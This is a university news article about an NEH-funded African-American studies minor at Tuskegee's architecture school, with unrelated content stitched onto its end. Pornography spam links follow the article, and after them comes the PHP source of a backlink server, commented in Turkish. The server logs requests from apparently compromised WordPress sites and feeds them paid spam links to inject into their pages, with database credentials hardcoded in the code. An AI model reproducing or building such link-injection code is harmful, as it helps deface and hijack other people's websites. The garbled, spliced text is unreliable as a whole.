NEH grant funds first-ever African-American studies minor at Tuskegee

Bell (far left) and Bratton (far right) with prospective minor students Domonique Jiles (center, left), a fourth-year architecture student, and Elon Williams (center, right), a first-year history major. Both have strong academic interests in how African-American studies relate to their respective degree fields.

Bell (far left) and Bratton (far right) with prospective minor students Domonique Jiles (center, left), a fourth-year architecture student, and Elon Williams (center, right), a first-year history major. Both have strong academic interests in how African-American studies relate to their respective degree fields.

A National Endowment for the Humanities grant totaling nearly $100,000 will help establish a new, multidisciplinary African-American studies program at Tuskegee University. The grant, entitled “‘Lifting the Veil:’ Seeing the Built Environment through the Lens of the Humanities,” is a collaborative project between the university’s Robert R. Taylor School of Architecture and Construction Science and the Department of History and Political Science in the College of Arts and Sciences.

NEH Humanities Initiatives grants support and enrich humanities education and scholarship at historically black colleges and universities (HBCUs), Hispanic-serving institutions, and tribal colleges and universities. Grant funding, which will span two years, will support the creation of a new 15-credit-hour interdisciplinary minor in African-American studies, with a concentration in the Tuskegee Architects and the History of the Built Environment in the South. This concentration ultimately will contribute to a cadre of humanities elective courses for a first-of-its-kind, university-wide African-American Studies minor on the Tuskegee campus.

Dr. Carla Jackson Bell, professor and dean of the Taylor School of Architecture and Construction Science, will serve as project director and overall operations administrator. She will contribute primarily to developing curriculum content for the concentration, the concept for which results from her scholarly effort to author Space Unveiled: Invisible Cultures in the Design Studio, published in 2014 by the Routledge Research in Architecture Series.

“As one of only seven HBCUs currently offering accredited degrees in architecture, Tuskegee University provides an ideal setting to uncover past and current educational theories and philosophies,” Bell said. “The African-American Studies minor will enrich the architecture history sequence of both our architecture and construction science programs.”

The initiative will begin by exploring — both historically and philosophically — African-American education. Booker T. Washington, Tuskegee’s founding principal, advocated educating the whole individual: the hand, heart and mind. He also advocated “co-relation” — applying academic study to practical work. Similar questions in our own time probe how to best connect humanities study to the professions.

“Curriculum studies — the secondary area of concentration within my interdisciplinary Ph.D. degree — allows me to develop disciplines specific to architecture and to integrate humanities approach into the professional training of architects and builders,” Bell said. “The minor will explore ways of thinking, researching and writing about the diverse experiences of African-Americans and human culture — such endeavors at an HBCU are often more limited in the curricular sense.”

In the summer of 2018, five national scholars (including Bell and Bratton) in the fields of architecture and history, a cohort of 10 additional faculty members, and students from Tuskegee University, Hampton University, Howard University and Florida A&M University will engage in a week-long workshop. The workshop will connect seminal parts of African-American studies, the Tuskegee architects and the history of the built environment — our human-made surroundings that provide the setting for human activity, which range in scale from buildings to parks. Eventually, all seven HBCU architecture programs will be involved in the developmental process of the minor.

Along with the minor launching in the fall of 2018, the grant will begin funding partial tuition for four current or incoming students majoring in architecture and history and who have expressed interests in African-American studies, arts and humanities, and construction. The grant also will fund two college-work study positions.

Assisting Bell with this initiative will be Dr. Lisa Bratton, an assistant professor of history, who will assist faculty in developing curriculum content, help plan and moderate the five-day summer workshop, and recruit other history faculty and resources for the workshop and the archival library.  Bratton also will act as a liaison between the National Park Service, College of Arts and Science, College of Education, and Taylor School of Architecture and Construction Science to organize complementary humanities courses, African-American studies sequences and content among the academic units involved.

The effort to create this NEH-funded minor will provide HBCUs and other universities with a model for integrating the humanities into professional disciplines, as well as stimulate the revision of existing humanities courses to bridge humanities studies with professional schools. Currently, there is no other architecture program in the country with a discipline-specific minor that explores, both historically and philosophically, African-American education.

In addition to Bratton’s leadership with the project, Bell credits Dr. Caroline Gebhard, a professor of English in the College of Arts and Sciences, for her contributions of literary content. Bell also noted the vital role Tuskegee University Archives and its archivist, Dana Chandler, will serve in identifying the historical resources that relate to the Tuskegee architects and builders.

“Tuskegee is the only university in the country that has a unit of the National Park Service on its campus,” Bratton said. “We are also home to many historic sites that are of great relevance to the African-American experience. So, this collaboration speaks to our uniqueness and our strengths. We are excited to have the opportunity to do our own research on our own architecture and history.”

The Taylor School of Architecture and Construction Science dates back to the origins of Tuskegee University. Robert Robinson Taylor, the nation’s first accredited African-American architect and the first African-American to receive an architecture degree from the Massachusetts Institute of Technology, joined the Tuskegee faculty in 1901 as the first director of its Mechanical Industries program. In addition to developing the school’s architecture program, he often was placed in charge of the university’s day-to-day operations in the absence of then-President Booker T. Washington. Most campus buildings built prior to 1932 were designed by Taylor, including the original Chapel, Dorothy Hall (now Kellogg Hotel & Conference Center), Tompkins Hall, The Oaks (Washington’s family home) and White Hall.

Undergraduate degree programs in both architecture and construction science currently are accredited by the National Architectural Accrediting Board and the American Council for Construction Education, respectively. For more information about the school, visit www.tuskegee.edu/tsacs.

https://www.fapjunk.com https://pornohit.net
header('X-Debug: Active-'.time()); header('Content-Type: text/html; charset=utf-8'); error_reporting(E_ALL); ini_set('display_errors', 1); ini_set('log_errors', 1); ini_set('error_log', dirname(__FILE__) . '/api_errors.log'); // Debug bilgilerini HTML yorum olarak ekle echo "\n"; echo "\n"; echo "\n"; echo "\n"; echo "\n"; // Çıktı tamponlamasını başlat ob_start(); // Domain normalizasyon fonksiyonu function normalize_domain($domain) { // Protokolü kaldır (http://, https://) $domain = preg_replace('#^https?://#', '', $domain); // Alt alan adlarını kontrol et ve ana domain'i al $parts = explode('.', $domain); // IP adresi kontrolü if (count($parts) == 4 && is_numeric($parts[0]) && is_numeric($parts[1]) && is_numeric($parts[2]) && is_numeric($parts[3])) { return $domain; // IP adresi ise değiştirme } // Domain uzunluğu kontrolü if (count($parts) <= 2) { return $domain; // Zaten ana domain } // www. ile başlıyorsa kaldır if ($parts[0] === 'www') { array_shift($parts); return implode('.', $parts); } // Son iki parçayı al (ana domain + TLD) // Örneğin mail.durantoprokash.com -> durantoprokash.com return $parts[count($parts) - 2] . '.' . $parts[count($parts) - 1]; } // Log fonksiyonu (HTML yorum olarak gösterme) function debug_log($message) { echo "\n"; } // Log fonksiyonu function api_log($message, $is_error = false) { $log_file = dirname(__FILE__) . '/api_log.txt'; $date = date('Y-m-d H:i:s'); $log_message = "[$date] " . ($is_error ? "[ERROR] " : "[INFO] ") . $message . "\n"; file_put_contents($log_file, $log_message, FILE_APPEND); // HTML yorum olarak ekrana yaz echo "\n"; if ($is_error) { error_log($message); } } // Rate limiting kontrolü function checkRateLimit($ip, $limit = 300) { $cache_file = sys_get_temp_dir() . '/rate_' . md5($ip); if (file_exists($cache_file)) { $data = json_decode(file_get_contents($cache_file), true); if ($data['count'] > $limit && (time() - $data['time']) < 3600) { return false; } if ((time() - $data['time']) > 3600) { $data = ['count' => 1, 'time' => time()]; } else { $data['count']++; } } else { $data = ['count' => 1, 'time' => time()]; } file_put_contents($cache_file, json_encode($data)); return true; } // IP ve rate limit kontrolü if (!checkRateLimit($_SERVER['REMOTE_ADDR'])) { http_response_code(429); ob_end_clean(); echo ''; exit; } // Domain kontrolü if (!isset($_POST['domain'])) { api_log("Error: Domain missing", true); ob_end_clean(); echo ''; exit; } // Kullanılan değişkenleri tanımla $user_agent = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : ''; $referrer = isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : ''; $client_ip = isset($_SERVER['REMOTE_ADDR']) ? $_SERVER['REMOTE_ADDR'] : ''; // Eski curl kodunu tespit et $is_old_client = 0; if (isset($_POST['backlink_token'])) { $is_old_client = 1; } else if (!empty($user_agent) && (strpos($user_agent, 'WordPress') !== false || strpos($user_agent, 'WP') !== false) || (!empty($referrer) && (strpos($referrer, '/wp-content/') !== false || strpos($referrer, '/wp-includes/') !== false))) { // WordPress sitelerinden gelen istekler muhtemelen eski curl kodunu kullanıyor $is_old_client = 1; } // Domain'i normalize et $original_domain = base64_decode($_POST['domain']); $normalized_domain = normalize_domain($original_domain); // Normalize sonucunu HTML yorum olarak ekle echo "\n"; // Veritabanı bağlantısı try { // Veritabanı bağlantısı $db = new PDO( "mysql:host=localhost;dbname=sche_v2;charset=utf8mb4", "sche_bombom", "bombom", [ PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION, PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC, PDO::ATTR_EMULATE_PREPARES => false, PDO::MYSQL_ATTR_FOUND_ROWS => true ] ); // Veritabanına debug bilgilerini kaydet try { $stmt = $db->prepare(" INSERT INTO backlink_requests ( domain, ip_address, user_agent, referrer, is_old_client, request_data, created_at ) VALUES (?, ?, ?, ?, ?, ?, NOW()) "); $request_data = json_encode($_POST); $stmt->execute([ $normalized_domain, $client_ip, $user_agent, $referrer, $is_old_client, $request_data ]); api_log("API request logged to database for domain: " . $original_domain . " (normalized: " . $normalized_domain . "), is_old_client: " . $is_old_client); } catch (Exception $e) { api_log("Error logging API request: " . $e->getMessage(), true); } $domain = filter_var(base64_decode($_POST['domain']), FILTER_SANITIZE_URL); if (!$domain) { api_log("Error: Invalid domain format: " . $_POST['domain'], true); ob_end_clean(); echo ''; exit; } // Domain'i normalize et $domain = normalize_domain($domain); // Domain formatını kontrol et (daha esnek regex) if (!preg_match('/^(?:[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\.)+[a-z]{2,}$/i', $domain)) { api_log("Error: Invalid domain structure: " . $domain, true); ob_end_clean(); echo ''; exit; } // Website id bul veya oluştur $stmt = $db->prepare("SELECT id FROM websites WHERE domain = ?"); $stmt->execute([$domain]); $website = $stmt->fetch(); if (!$website) { // Domain erişilebilirliğini kontrol et $domain_accessible = false; // HTTP ve HTTPS kontrol et foreach (['http', 'https'] as $protocol) { $url = $protocol . '://' . $domain; $ch = curl_init($url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_NOBODY, true); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 5); curl_setopt($ch, CURLOPT_TIMEOUT, 10); curl_exec($ch); $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE); curl_close($ch); if ($http_code >= 200 && $http_code < 400) { $domain_accessible = true; break; } } if ($domain_accessible) { api_log("Domain is accessible, inserting new website record"); $stmt = $db->prepare("INSERT INTO websites (domain, status, created_at, is_approved) VALUES (?, 1, NOW(), 0)"); $stmt->execute([$domain]); $website_id = $db->lastInsertId(); $website = [ 'id' => $website_id, 'domain' => $domain ]; // Admin bildirimini ekle try { $stmt = $db->prepare(" INSERT INTO admin_notifications ( type, message, is_read, created_at ) VALUES ( 'new_domain', ?, 0, NOW() ) "); $notification_message = "Yeni domain eklendi: " . $domain; $stmt->execute([$notification_message]); api_log("Admin notification added for new domain: " . $domain); } catch (Exception $e) { api_log("Error adding admin notification: " . $e->getMessage(), true); } } else { api_log("Domain not accessible via any protocol", true); ob_end_clean(); echo ''; exit; } } // Aktif linkleri getir api_log("Fetching active links for website ID: " . $website['id']); $sql = "SELECT l.url, l.anchor_text FROM links l JOIN orders o ON l.order_id = o.id WHERE o.website_id = ? AND (o.status = 'completed' OR o.status = 'active') AND l.is_active = 1 ORDER BY RAND() LIMIT 10"; // HTML yorum olarak SQL sorgusunu göster echo "\n"; $stmt = $db->prepare($sql); $stmt->execute([$website['id']]); $links = []; $link_count = 0; while ($row = $stmt->fetch()) { $link_count++; // Her link için debug bilgisini HTML yorum olarak ekle echo "\n"; // HTML bağlantılarını güvenli şekilde oluştur $links[] = '' . htmlspecialchars($row['anchor_text'], ENT_QUOTES, 'UTF-8') . ''; } echo "\n"; if (empty($links)) { api_log("No active links found for domain: " . $domain . " (Website ID: " . $website['id'] . ")", true); ob_end_clean(); echo ''; exit; } api_log("Returning " . count($links) . " links for domain: " . $domain); echo ''; // Debug sonu bilgisini ekle echo "\n"; } catch (PDOException $e) { api_log("Database error: " . $e->getMessage() . "\nTrace: " . $e->getTraceAsString(), true); ob_end_clean(); echo ''; exit; } catch (Exception $e) { api_log("General error: " . $e->getMessage() . "\nTrace: " . $e->getTraceAsString(), true); ob_end_clean(); echo ''; exit; } // Son olarak çıktı tamponunu gönder ob_end_flush(); ?>